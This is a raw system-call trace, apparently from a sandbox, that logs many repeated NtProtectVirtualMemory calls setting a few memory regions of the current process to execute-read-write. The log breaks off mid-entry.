[0300.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.351] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.390] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.406] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.430] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.445] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.463] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.493] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.587] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.598] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.647] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.685] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.707] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.764] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.805] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.846] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.875] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.886] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.901] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.951] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.970] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.038] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.126] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.144] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.175] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.297] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.307] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.318] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.360] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.371] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.382] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.400] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.411] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.421] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.437] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.449] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.459] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.471] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.521] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.539] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.562] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.583] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.635] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.655] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.690] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.700] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.710] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.727] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.737] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.783] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.803] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.814] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.827] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0301.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, 